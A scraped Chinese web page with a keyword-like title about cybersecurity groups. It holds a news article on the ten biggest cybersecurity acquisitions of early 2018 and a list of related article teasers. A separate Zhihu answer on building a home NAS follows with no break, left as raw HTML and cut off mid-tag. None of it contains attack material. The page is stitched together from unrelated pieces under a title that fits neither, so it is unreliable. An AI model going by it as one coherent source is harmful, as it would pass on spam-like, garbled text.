隐魂网络安全干什么组是干什么的

摘要:2018年上半年不少企业把赌注压在了云、端点和应用的安全性上,在此期间10大收购中有6个是集中在这个领域的。技术巨头、私募股权巨头和纯安全厂商这一年至少花费了30亿美元在最重要的交易上,从各种传统公司、早期和后期初创公司中获得了近2900名员工。所有被收购的公司都是在21世纪成立的,其中有8家初创公司是在近十年中成立的。其中5家公司位于硅谷,3家位于美国东北部,一家位于美国东南部,一家位于美国西部其他地区。其中四笔收购是由拥有广泛产品组合的技术提供商主导的,3笔是由平台安全厂商主导的,还有两笔是由私募股权公司进行的,1笔由细分领域的安全厂商进行的。下面就让我们来回顾一下2018年迄今为止最有影响力的10大网络安全收购。十、Oracle收购 Zenedge收购价格:未披露Oracle 在2018年3月宣布收购安全初创公司 Zenedge,加强了围绕其云服务的应用保护和网络保护。Oracle 表示,收购位于美国佛罗里达州 Aventura 的 Zenedge 将让企业能够更容易地采用云服务而不会影响性能、成本、控制以及安全性。Oracle称,Zenedge 的 Web 应用防火墙和 DDoS 防御产品可以帮助客户保护其应用、网络、数据库和API免受恶意互联网流量的侵害。在合规性方面,Oracle称Zenedge提供单一的交互式控制中心,通过自适应的自动化扩展预构建规则集,并集成到SIEM和安全报告中。Oracle 表示,Zenedge 的基础设施也是可扩展的,有全局部署的网络、全球流量清理中心以及用于全局传播的编程API接口。九、VMware收购 E8 Security收购价格:未披露VMware 于2018年3月收购了初创公司E8 Security,得到了这项旨在强化Workspace ONE 端点管理平台最新升级的技术。位于美国加利福尼亚州红木城的E8 Security 公司利用人工智能来监控系统行为的异常情况,通过分析来自不同来源的数据,发现恶意活动并在早期阶段解决网络威胁。将E8 Security的功能集成到 VMware Workspace ONE,通过关联数据以利用数据分析准确检测和响应高级威胁,让客户可以简化管理和安全性。E8 对用户和实体行为的自动分析,可以为 Workspace ONE Intelligence 服务提供威胁洞察。八、AWS收购 Sqrrl收购价格:4000万美元(据 Axios 报道)AWS 在2018年1月收购了网络安全软件公司 Sqrrl,以支持AWS新的威胁检测服务。Sqrrl位于美国马萨诸塞州剑桥,它的先进威胁搜索功能预计将与亚马逊 GuardDuty 完美配合,后者是亚马逊在去年11月推出的智能威胁检测服务,专注于保护 AWS 账户和工作负载。Sqrrl 能够分析大数据以查找网络威胁,帮助企业更快地识别和解决这些问题。Sqrrl 表示,它利用链接数据、机器学习、用户和实体行为分析、风险评分和大数据技术来发现隐藏在安全数据集中的恶意模式和异常。七、Palo Alto Networks收购 Secdo收购价格:1亿美元(据以色列商业出版物Globes报道)Palo Alto Networks 在2018年4月收购了新兴厂商 Secdo,以强化在端点上的数据收集和可视化能力。Palo Alto Networks 表示,收购位于纽约的终端检测和响应厂商 Secdo 将增强其快速检测和阻止隐身攻击的能力。来自 Secdo 的数据将提供给 Palo Alto Networks 日志记录服务,并使框架中运行的应用更加精确、可视化、可检测和阻止网络攻击。Secdo 在收集数据和可视化方面所采取的线程级方法,已经超越了传统的 EDR方法,后者只收集一般事件数据。因此,安全运营团队在尝试重建攻击的每个步骤并区分恶意和正常活动时会受到阻碍。六、Proofpoint收购 Wombat Security Technologies收购价格:2.25亿美元Proofpoint 在2018年3月收购了 Wombat Security Technologies,提供业界首个整合的市场领先的保护和感知产品。Proofpoint 表示,这次收购将使自己能够把高级威胁保护功能与 Wombat 的实时网络钓鱼模拟、网络安全意识及培训结合起来。Proofpoint 表示,这种组合将让企业能够高度准确地了解员工每天面对真实网络钓鱼攻击出现的漏洞。据 Proofpoint 称,Wombat 凭借广泛的功能、行业领先的技术、与研究中心 Carnegie Mellon University 的紧密合作脱颖而出。过去两年中Proofpoint评估了一些潜在选择,最终他们对 Wombat 的能力以及适应 Proofpoint 业务运营的能力感到满意。五、Thoma Bravo获得 LogRhythm 多数股权收购价格:未披露2018年7月Thoma Bravo 收购了 LogRhythm 的多数股权,以加速该公司的运营和产品开发路线图。这家位于美国科罗拉多州博尔德的安全信息和事件管理(SIEM)厂商表示,Thoma Bravo 在网络安全领域的专业知识以及帮助厂商推动增长和创新的经验给人留下了深刻的印象。LogRhythm 计划使用这次交易的收益继续构建各种工具,让渠道合作伙伴能够以具有成本效益的方式提供托管服务。从技术角度来看,LogRhythm 希望通过对其核心 SIEM 平台以及用户和实体行为分析(UEBA)等相邻技术的投资,进一步与竞争对手区分开来。四、Splunk收购 Phantom Cyber收购价格:3.5亿美元Splunk 在2018年4月收购了安全协调、自动化和响应(SOAR)软件开发商 Phantom Cyber,进一步扩展了其安全功能。Splunk 表示,将把 Phantom 软件与 Splunk 平台整合在一起,创建一个全面的系统,让 SecOps 团队可以利用分析驱动的安全性来加速事件响应,推进网络防御并降低组织风险。 Splunk 表示,这还将有助于更好地管理安全运营中心,减少所需人员数量。据 Splunk 称,安全运营中心分析师利用 SOAR 系统自动执行任务、编排工作流程、改善协作、并帮助企业更快地响应安全威胁。Phantom 创始人、首席执行官 Oliver Friedrichs 将继续留在公司,汇报给 Splunk 高级副总裁、安全市场总经理 Haiyan Song。三、Palo Alto Networks收购 Evident.io收购价格:3亿美元Palo Alto Networks 在2018年3月份收购了 Evident.io,旨在让企业云用户更容易确保部署的合规性和安全性。Palo Alto Networks 表示,收购Evident.io将扩展自己基于 API 的安全能力,分析服务和帐户配置以满足严格的安全和合规控制。Evident.io 联合创始人加入了 Palo Alto Networks。Palo Alto Networks 表示,一旦 Evident.io 与 Palo Alto Networks 现有的云安全产品集成,将使客户能够使用单一方法进行持续监控、确保存储安全、验证合规性和提供报告。因此,安全性、DevOps 和合规性将能够:更快地开发云应用;简化开发者和安全操作;不断验证部署的合规性。二、Thoma Bravo收购 Barracuda Networks收购价格:16亿美元Thoma Bravo 在2018年2月收购了 Barracuda Networks,仅仅在存储和安全厂商 Barracuda Networks 申请 IPO 上市的4年之后。位于美国芝加哥的私募股权公司 Thoma Bravo 表示,Barracuda 能够在日益恶劣和复杂的威胁环境中为客户提供全面的产品,并且在网络安全市场的几个高度战略性领域处于创新前沿。就 Barracuda 而言,这次收购有望帮助 Barracuda 加速其业界领先的安全平台进一步发展。Barracuda 还赞扬了 Thoma Bravo 在促进安全业务增长方面的卓越投资历史。一、McAfee收购 Skyhigh Networks收购价格:未披露McAfee 在2018年1月收购了领先的云访问安全厂商 Skyhigh Networks,希望在端点和云网络安全市场中占据主导地位。McAfee 称赞位于美国加利福尼亚州坎贝尔的 Skyhigh 是 CASB 产品类别的先驱,并且提出网络安全不应成为云采用的障碍。这次收购是 McAfee 自2017年4月从英特尔分拆出来之后的首个重大收购。Skyhigh 创始人、首席执行官 Rajiv Gupta 加入了 McAfee 领导团队,负责管理公司新成立的云业务部门。Skyhigh 现有的组织结构基本保持不变,以确保客户和合作伙伴的连续性。
文章转载自网络,作者观点不代表本网站立场,如需处理请联系客服
E安全其它文章
WebLogic WLS核心组件曝反序列化漏洞
日,美国甲骨文(Oracle)公司官方发布了季度补丁更新,其中修复了一个 Oracle WebLogic Server 远程代码...
2018上半年十大网络安全收购
摘要:2018年上半年不少企业把赌注压在了云、端点和应用的安全性上,在此期间10大收购中有6个是集中在这个领域的。技术巨头、私募股权巨头和纯安全厂商这一年至少花费...
盯紧攻击者“网络杀伤链”,简单防御六步走
E安全7月18日文 美国军方率先将“杀伤链(cyber kill chain)”概念正式化,这个概念被宽泛地定义为消灭目标链条中的六个阶段:发现(Fin...
论漏洞披露的正确姿势,俄罗斯可能走了个“极简”风格
E安全7月18日讯 美国网络安全公司 Recorded Future在日发布报告,总结分析了俄罗斯联邦技术出口管制局(简称 ...
容器和虚拟机,谁更安全?
E安全7月17日讯 IBM Research 已经创造出一种新的软件安全性衡量方法——Horizontal Attack Profile(简称 HAP),其发现适当保护...
有了网军就可以打网络战?没那么简单
E安全7月17日讯 网络作战到底是战术推动者还是一种战略能力?网络作战和传统作战同样重要?还是说它只是为传统作战部队开辟战场的必要组成?将网络能力纳入核心作战...
如何发展AI和数据分析?美国打算这么做
E安全7月16日讯 美国国防高级研究计划局(简称 DARPA)国防科学办公室(DSO)近日发布信息征询书(RFI),呼吁行业和学术界的技术专家权衡量子计算...
老板!全球BEC诈骗损失逾120亿美元,你中招了吗?
E安全7月16日讯 美国联邦调查局(FBI)近日发布报告指出,商业电子邮件攻击(Business Email Compromise,简称 B...
如何防范社会工程攻击?
E安全7月15日讯 在 Veriozon 出具的《2017年数据泄露调查》报告中,90%的成功入侵都是通过社交工程实现。与其说社交工程是电脑入侵,不如说是人与人的斗争。现...
美国防部软件采购最新四项参考指标
E安全7月14日讯 2018年4月,美国马萨诸塞州坎布里奇(Cambridge)举行的公开会议上,由谷歌母公司 Alphabet 技术顾问 Eric Schmi...&p&本答案于2018年5月重写。这些年软硬件及个人对NAS的认知也在不断更新,期间有一些新的想法方便大家避坑。&/p&&p&&br&&/p&&p&折腾NAS的四年中,本人换来换去用过方案很多,黑群晖、Linux、Windows、各种虚拟机混搭等等,现在感觉搭建家用NAS的目的是简单易用,而不是把自己搞到身心俱疲。&/p&&p&&br&&/p&&h2&所以本答案的核心思路:越简单越好。&br&&/h2&&hr&&h2&基本概念&/h2&&p&NAS即网络附加存储(Network Attached Storage),通过网络提供数据访问服务。&/p&&blockquote&注:本答案面向有外网访问/远程控制需求的用户,如仅做内网备份/文件共享/视频播放的朋友们装个windows最省心,顶多通过docker增加TimeMachine备份功能。&/blockquote&&p&&br&&/p&&h2&基本需求&/h2&&ol&&li&&b&硬件——NAS硬件需要满足以下几点:&/b&&/li&&/ol&&ul&&li&稳定性:24x7稳定无故障运行;&/li&&li&兼容性:硬件对操作系统兼容性良好(系统电源管理、硬盘控制器兼容性等);&/li&&li&体积小巧:占地面积小,便于放置;&/li&&li&节能:7x24小时挂机下载的情况下,动辄一两百瓦的家用电脑显然不适合作NAS;&/li&&li&静音:做工优秀,廉价机箱的箱体共振等问题不应该存在;&/li&&li&性价比:合理价格内兼顾以上6点。&/li&&/ul&&p&&br&&b&2. 软件——NAS的功能需求:&/b&&/p&&ul&&li&必须具备远程控制功能如Web面板,方便配置操作;&/li&&li&必须有移动端app的支持;&/li&&li&挂机下载(PT/BT/电驴/各种云盘同步);&/li&&li&媒体服务器(配合机顶盒或本机播放);&/li&&li&本地及远程文件共享(个人/家庭云);&/li&&li&文件备份(TimeMachine等);&/li&&li&(附加)办公用途(CardDAV Server / Directory Server / Mail Server);&/li&&li&(附加)其它用途(DNS Server / VPN Server / 小型网站服务器等);&br&&/li&&/ul&&p&&b&其他:&/b&部分用户希望NAS具备HTPC功能,本答案已充分考虑。&/p&&hr&&h2&写在前面1:关于DDNS&/h2&&p&DDNS是各类远程操作的必需品,简单罗列下本人用过的几种:&/p&&ul&&li&华硕路由自带asuscomm方案:稳定性不好,曾经出现过被墙的情况;&/li&&li&群晖QuickConnect:解析速度比国内慢,仅白群晖用户可用;&/li&&li&花生壳/花生棒:尚可,支持各类操作系统平台(路由器/Windows/Linux/群晖);&/li&&li&阿里云DDNS:强烈推荐;&/li&&li&腾讯云DDNS:推荐,证书验证不如阿里云方便。&/li&&/ul&&p&&br&&/p&&h2&写在前面2:关于黑群晖&/h2&&p&目前黑群晖已无法洗白,个人感觉问题多多。即便能通过DDNS解决无QuickConnect远程访问,但DS Finder无推送、Chat无消息提醒、DS Video无法远程解码是黑群晖无解的。而且系统迭代时也会出现各类问题。&/p&&p&虽然黑群晖一张启动优盘搞定安装,但后期的折腾并不比装个Windows少,况且并不是没有群晖的替代方案。&/p&&p&至于VMware跑黑群晖虚拟机只能作为玩具用途,挂载实体盘会因诸如重装/迁移宿主系统时忘记attribute disk clear readonly等操作导致DSM提示磁盘损毁。&/p&&p&&b&小结:数据无价,远离黑群晖。&/b&&/p&&p&&br&&/p&&p&&br&&/p&&h2&写在前面3:关于RAID及备份&/h2&&ul&&li&任何软RAID都不要指望稳定性;&/li&&li&家庭用途不建议折腾任何RAID;&/li&&li&千兆网络带宽也就是单盘速度,就家用环境的访问量来看RAID0用途不大;&/li&&li&RAID5在家庭用途中较为蛋疼,任何文件操作所有盘都要一起陪着转;&/li&&li&数据无价。与其折腾RAID不如冷备份。&/li&&li&更不用说孱弱的软RAID机制了。&/li&&/ul&&p&&br&&/p&&h2&&b&写在前面4: 需要强力安利的Emby Server&/b&&/h2&&p&相信许多人折腾黑群晖的起因,仅仅是这个VideoStation:&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-5c6c6f755c2031cb10afb57a1384a82c_b.jpg& data-size=&normal& data-rawwidth=&650& data-rawheight=&390& class=&origin_image zh-lightbox-thumb& width=&650& data-original=&https://pic1.zhimg.com/50/v2-5c6c6f755c2031cb10afb57a1384a82c_r.jpg&&&figcaption&自动下载匹配字幕、自动获取影片讯息、远程解码播放&/figcaption&&/figure&&p&但现在Emby server给了大家一个放弃黑群晖的理由:&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-838145efa528ed2291ae_b.jpg& data-size=&normal& data-rawwidth=&640& data-rawheight=&400& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic2.zhimg.com/50/v2-838145efa528ed2291ae_r.jpg&&&figcaption&同样的自动匹配字幕、自动获取影片讯息、同样的远程解码播放&/figcaption&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-e1b56cbac583e3b9b736ec72a440b1b5_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&810& data-rawheight=&506& class=&origin_image zh-lightbox-thumb& width=&810& data-original=&https://pic4.zhimg.com/50/v2-e1b56cbac583e3b9b736ec72a440b1b5_r.jpg&&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-6bba71050dfeafb84f62e8_b.jpg& data-size=&normal& data-rawwidth=&1859& data-rawheight=&938& class=&origin_image zh-lightbox-thumb& width=&1859& data-original=&https://pic1.zhimg.com/50/v2-6bba71050dfeafb84f62e8_r.jpg&&&figcaption&群晖的VideoStation木有的在线电视,Emby连播出表都直接给出了好么&/figcaption&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-a04477aef523607caf3a3_b.jpg& data-size=&normal& data-rawwidth=&720& data-rawheight=&528& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&https://pic4.zhimg.com/50/v2-a04477aef523607caf3a3_r.jpg&&&figcaption&此神物几乎支持所有已知平台,包括安装在各类盒子、游戏机的客户端&/figcaption&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-d2a85b92f814f4d90a26ccf5f753b74a_b.jpg& data-size=&normal& data-rawwidth=&720& data-rawheight=&453& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&https://pic1.zhimg.com/50/v2-d2a85b92f814f4d90a26ccf5f753b74a_r.jpg&&&figcaption&远程Web控制面板,选项颇为全面&/figcaption&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-e2ebbbb4e57bc66a5533b_b.jpg& data-size=&normal& data-rawwidth=&720& data-rawheight=&1280& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&https://pic4.zhimg.com/50/v2-e2ebbbb4e57bc66a5533b_r.jpg&&&figcaption&移动端界面&/figcaption&&/figure&&hr&&h2&正题:NAS硬件平台的大致分类&/h2&&p&&br&&/p&&h2&1. 成品NAS:群晖/威联通方案,购买建议:四颗星&/h2&&p&适用对象:不想折腾、动手能力弱,对价格不敏感的用户。&/p&&ul&&li&优点:一站式方案,套件及app丰富,远程控制及操作方便;&/li&&li&缺点:本质上只是阉割掉声显卡后的赛扬解决方案,稳定性也只能称得上尚可,RAID属于软阵列,个人仅建议采用Basic磁盘方式使用;(威联通HTPC机型在硬件上与群晖差别不大,可认为是集成播放功能的群晖)&/li&&li&购买意见:建议4盘位起,有较大的腾挪空间 (双盘位用到后期很痛苦)。&/li&&/ul&&figure&&img src=&https://pic3.zhimg.com/50/v2-5cd84bf1cee467ed59d492_b.jpg& data-size=&normal& data-rawwidth=&806& data-rawheight=&300& class=&origin_image zh-lightbox-thumb& width=&806& data-original=&https://pic3.zhimg.com/50/v2-5cd84bf1cee467ed59d492_r.jpg&&&figcaption&群晖新出的DS918+,不差钱的小伙伴们可以考虑下(某宝3680包邮)&/figcaption&&/figure&&h2&2. 成品微型服务器:惠普ProLiant MicroServer,购买建议:五颗星&/h2&&ul&&li&优点1:性价比高(比同等配置的群晖低30-50%);&/li&&li&优点2:稳定性强(毕竟隶属Server产品线);&/li&&li&优点3:可扩展性强,可根据需求添加硬RAID卡及各类扩展卡;&/li&&li&缺点:需要自行安装及配置系统,Linux的话需要一定的动手能力。&/li&&li&购买意见A:HPE ProLiant MicroServer Gen10,可做NAS+HTPC使用;&/li&&/ul&&figure&&img src=&https://pic1.zhimg.com/50/v2-c59eafd25fc7d5bed0351d6_b.jpg& data-size=&normal& data-rawwidth=&686& data-rawheight=&335& class=&origin_image zh-lightbox-thumb& width=&686& data-original=&https://pic1.zhimg.com/50/v2-c59eafd25fc7d5bed0351d6_r.jpg&&&figcaption&New HPE ProLiant MicroServer Gen10 with AMD Opteron X3000 APUs&/figcaption&&/figure&&ul&&li&购买意见B:无需高清硬解的童鞋可950元购买N54L(目前各类盒子与移动设备的本地解码能力够用)&/li&&/ul&&figure&&img src=&https://pic2.zhimg.com/50/v2-3af0acae6485152dad01f2_b.jpg& data-size=&normal& data-rawwidth=&496& data-rawheight=&300& class=&origin_image zh-lightbox-thumb& width=&496& data-original=&https://pic2.zhimg.com/50/v2-3af0acae6485152dad01f2_r.jpg&&&figcaption&HP ProLiant MicroServer N54l &/figcaption&&/figure&&ul&&li&不推荐Gen8的原因:噪音控制问题,跑EXSI的话得升级CPU及添置RAID卡,价格翻番。与其Gen8,不如考虑下面这货:&/li&&/ul&&h2&3. 成品微型服务器:Acer Altos C100 F3,购买建议:五颗星&/h2&&ul&&li&优点1:Intel C226芯片组,服务器/工作站级;&/li&&li&优点2:ECC内存支持(当然hp的N54L/Gen10也支持);&/li&&li&优点3:CPU丰俭由人,支援1150针全系列,比如E3-1285l v3;&/li&&li&优点4:三网卡、DisplayPort接口,做HTPC毫无压力;&/li&&li&优点5:23dB静音……&/li&&/ul&&figure&&img src=&https://pic1.zhimg.com/50/v2-daac594c747fad_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&720& data-rawheight=&345& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&https://pic1.zhimg.com/50/v2-daac594c747fad_r.jpg&&&/figure&&h2&4. 自攒NAS,购买建议:一颗星&/h2&&ul&&li&优点:便宜(便宜不等于性价比高);&/li&&li&缺点1:没有ECC内存 (虽然群晖也没有);&/li&&li&缺点2:稳定性捉急,J3455之类的平台+各类廉价配件;&/li&&li&缺点3:噪音(机箱共振等)无法预估;&/li&&/ul&&figure&&img src=&https://pic3.zhimg.com/50/v2-772c8e5da82f9c681d189_b.jpg& data-size=&normal& data-rawwidth=&397& data-rawheight=&399& class=&content_image& width=&397&&&figcaption&赛扬G1610T+2G内存+机箱电源套装卖1600是什么鬼?&/figcaption&&/figure&&p&&br&&/p&&h2&5. 二手刀片服务器:负分滚粗&/h2&&ul&&li&不推荐,太尼玛响了。&/li&&/ul&&hr&&h2&OS(操作系统)及软件部分:&/h2&&ol&&li&&b&群晖/威联通方案:&/b&&/li&&/ol&&p&群晖/威联通售价远比同等PC高,很大原因是其丰富的功能套件加持,省却了各种安装、配置的烦恼,且客户端支持广泛(WIndows/Mac/iOS/Android),用户也算是花钱买省心。唯一不足的是想在其上跑虚拟机时效能较低,此点与其硬件配置也有直接关系,顺便吐槽下群晖的Virtual Machine Manager,慢成狗。&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-df490e76b49501aff648a781e66f32c9_b.jpg& data-size=&normal& data-rawwidth=&1079& data-rawheight=&851& class=&origin_image zh-lightbox-thumb& width=&1079& data-original=&https://pic4.zhimg.com/50/v2-df490e76b49501aff648a781e66f32c9_r.jpg&&&figcaption&庞大丰富的套件库&/figcaption&&/figure&&figure&&img src=&https://pic2.zhimg.com/50/v2-87e8a9a592dac7868373_b.jpg& data-size=&normal& data-rawwidth=&560& data-rawheight=&599& class=&origin_image zh-lightbox-thumb& width=&560& data-original=&https://pic2.zhimg.com/50/v2-87e8a9a592dac7868373_r.jpg&&&figcaption&丰富的app&/figcaption&&/figure&&p&&br&&/p&&p&&b&2. OS/软件方案A:Windows Server平台&/b&&/p&&p&为什么要Server:为了用Windows Admin Center(原Honolulu),这货真的是……没谁了。&/p&&ul&&li&远程控制A (远程桌面方式):Microsoft Remote Desktop (官方) / &a href=&//link.zhihu.com/?target=https%3A//jumpdesktop.com/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Jump Desktop&/a& (懒人推荐);&/li&&li&远程控制B (Web面板方式):&a href=&//link.zhihu.com/?target=https%3A//docs.microsoft.com/zh-cn/windows-server/manage/windows-admin-center/overview& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Windows Admin Center&/a& (官方);&/li&&li&私有云:&a href=&//link.zhihu.com/?target=https%3A//www.seafile.com/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Seafile Server&/a&;&/li&&li&下载方案A:迅雷远程,通过Web页面控制管理,缺点为会有文件被屏蔽;&/li&&li&下载方案B:&a href=&//link.zhihu.com/?target=https%3A//aria2.github.io/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Aria2&/a&,Web管理面板:&a href=&//link.zhihu.com/?target=https%3A//github.com/mayswind/AriaNg& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Aria-NG&/a&,&a href=&//link.zhihu.com/?target=https%3A//github.com/itgoyo/Aria2& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&中文教程&/a&;&/li&&li&下载方案C:&a href=&//link.zhihu.com/?target=https%3A//github.com/transmission& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Transmission&/a& (&a href=&//link.zhihu.com/?target=https%3A//github.com/ronggang/transmission-web-control& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&web面板&/a&)、&a href=&//link.zhihu.com/?target=https%3A//www.utorrent.com/intl/zh/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&uTorrent&/a& (&a href=&//link.zhihu.com/?target=https%3A//web.utorrent.com/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&uTorrent Web&/a&);&/li&&li&虚拟机方案A:&a href=&//link.zhihu.com/?target=https%3A//www.virtualbox.org/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&VirtualBox&/a& (免费);&/li&&li&虚拟机方案B:&a href=&//link.zhihu.com/?target=https%3A//www.vmware.com/products/workstation-pro.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&VMware Workstation&/a& ;&/li&&li&视频/图片分享、远程播放A:&a href=&//link.zhihu.com/?target=https%3A//emby.media/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Emby Server&/a& ;&/li&&li&视频分享、远程播放B:&a href=&//link.zhihu.com/?target=https%3A//www.plex.tv/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Plex Media Server&/a& ;&/li&&li&HTPC播放:&a href=&//link.zhihu.com/?target=https%3A//kodi.tv/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&KODI&/a&。&/li&&/ul&&figure&&img src=&https://pic4.zhimg.com/50/v2-01e101cb130ef69dffa86d54_b.jpg& data-size=&normal& data-rawwidth=&1383& data-rawheight=&827& class=&origin_image zh-lightbox-thumb& width=&1383& data-original=&https://pic4.zhimg.com/50/v2-01e101cb130ef69dffa86d54_r.jpg&&&figcaption&Windows Admin Center,连注册表都可以Web面板解决了&/figcaption&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-e971c0cc3342a76bdbced4eeefb9bd77_b.jpg& data-size=&normal& data-rawwidth=&1113& data-rawheight=&801& class=&origin_image zh-lightbox-thumb& width=&1113& data-original=&https://pic4.zhimg.com/50/v2-e971c0cc3342a76bdbced4eeefb9bd77_r.jpg&&&figcaption&Aira2远程下载管理Web面板&/figcaption&&/figure&&figure&&img src=&https://pic3.zhimg.com/50/v2-26bcb34cfce5_b.jpg& data-size=&normal& data-rawwidth=&900& data-rawheight=&541& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&https://pic3.zhimg.com/50/v2-26bcb34cfce5_r.jpg&&&figcaption&HTPC用户们要的播放器KODI,同样的广泛客户端支持(Windows/Mac/iOS/Android)&/figcaption&&/figure&&p&&br&&/p&&p&&b&OS/软件方案B:Linux平台&/b&&/p&&p&Linux对于小白用户已经越来越友好,dnf / apt-get这类命令没有太大难度,更何况Nextcloud、迅雷远程可以用docker搞定,省却繁复的命令行配置。&/p&&p&&b&为什么推荐docker:&/b&linux各发行版间存在差异,以nextcloud为例,CentOS/ubuntu的基础服务配置不同,甚至ubuntu17下用的好好的nextcloud在系统升级至18后要重新配置。系统迭代、重新安装后都需要较繁复的配置工作,这显然是与本文“简单易用别折腾”的思路相悖的。即便系统升级换代,用docker重装nextcloud+mariadb+onlyoffice也仅需30秒。&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-e70a620d6fcf111feb77f_b.jpg& data-size=&normal& data-rawwidth=&1388& data-rawheight=&585& class=&origin_image zh-lightbox-thumb& width=&1388& data-original=&https://pic1.zhimg.com/50/v2-e70a620d6fcf111feb77f_r.jpg&&&figcaption&docker的web面板portainer,简单方便又直观&/figcaption&&/figure&&p&软件方案:&/p&&ul&&li&远程控制A (远程桌面方式):&a href=&//link.zhihu.com/?target=https%3A//jumpdesktop.com/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Jump Desktop&/a& ;&/li&&li&远程控制B (Web面板方式):&a href=&//link.zhihu.com/?target=https%3A//cockpit-project.org/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Cockpit&/a&;&/li&&li&私有云:&a href=&//link.zhihu.com/?target=https%3A//www.seafile.com/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Seafile&/a&、&a href=&//link.zhihu.com/?target=https%3A//nextcloud.com/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Nextcloud&/a& ;&/li&&li&下载方案A:迅雷远程(docker);&/li&&li&下载方案B:&a href=&//link.zhihu.com/?target=https%3A//aria2.github.io/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Aria2&/a&,Web管理面板:&a href=&//link.zhihu.com/?target=https%3A//github.com/mayswind/AriaNg& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Aria-NG&/a&,&a href=&//link.zhihu.com/?target=https%3A//github.com/itgoyo/Aria2& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&中文教程&/a&;&/li&&li&下载方案C:&a href=&//link.zhihu.com/?target=https%3A//www.utorrent.com/intl/zh/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&uTorrent&/a& (Linux版本略老);&/li&&li&视频/图片分享、远程播放A:&a href=&//link.zhihu.com/?target=https%3A//emby.media/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Emby Server&/a& ;&/li&&li&视频分享、远程播放B:&a href=&//link.zhihu.com/?target=https%3A//www.plex.tv/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Plex Media Server&/a& ;&/li&&li&虚拟机方案A:&a href=&//link.zhihu.com/?target=https%3A//www.virtualbox.org/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&VirtualBox&/a& ;&/li&&li&虚拟机方案B:gnome Boxes ;&/li&&li&HTPC播放:&a href=&//link.zhihu.com/?target=https%3A//kodi.tv/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&KODI&/a& 。&/li&&/ul&&figure&&img src=&https://pic3.zhimg.com/50/v2-3ac9bb39bcac0_b.jpg& data-size=&normal& data-rawwidth=&1404& data-rawheight=&907& class=&origin_image zh-lightbox-thumb& width=&1404& data-original=&https://pic3.zhimg.com/50/v2-3ac9bb39bcac0_r.jpg&&&figcaption&甚是方便的远程web面板:Cockpit&/figcaption&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-2d516f1caa_b.jpg& data-size=&normal& data-rawwidth=&1075& data-rawheight=&853& class=&origin_image zh-lightbox-thumb& width=&1075& data-original=&https://pic4.zhimg.com/50/v2-2d516f1caa_r.jpg&&&figcaption&linux自带的gnome Boxes虚拟机&/figcaption&&/figure&&figure&&img src=&https://pic3.zhimg.com/50/v2-39fa8f3ecfd4e_b.jpg& data-size=&normal& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic3.zhimg.com/50/v2-39fa8f3ecfd4e_r.jpg&&&figcaption&私有云新秀Nextcloud界面&/figcaption&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-4dc5fffb9801a3fcd24179_b.jpg& data-size=&normal& data-rawwidth=&1521& data-rawheight=&945& class=&origin_image zh-lightbox-thumb& width=&1521& data-original=&https://pic1.zhimg.com/50/v2-4dc5fffb9801a3fcd24179_r.jpg&&&figcaption&团队协作、团队聊天、还带了视频对话功能&/figcaption&&/figure&&figure&&img src=&https://pic2.zhimg.com/50/v2-6f0ddd88bdf_b.jpg& data-size=&normal& data-rawwidth=&1065& data-rawheight=&631& class=&origin_image zh-lightbox-thumb& width=&1065& data-original=&https://pic2.zhimg.com/50/v2-6f0ddd88bdf_r.jpg&&&figcaption&广泛的客户端支持(Windows/Mac/Linux/Android/iOS)&/figcaption&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-6201abcb754bcedc0de78a_b.jpg& data-size=&normal& data-rawwidth=&1206& data-rawheight=&957& class=&origin_image zh-lightbox-thumb& width=&1206& 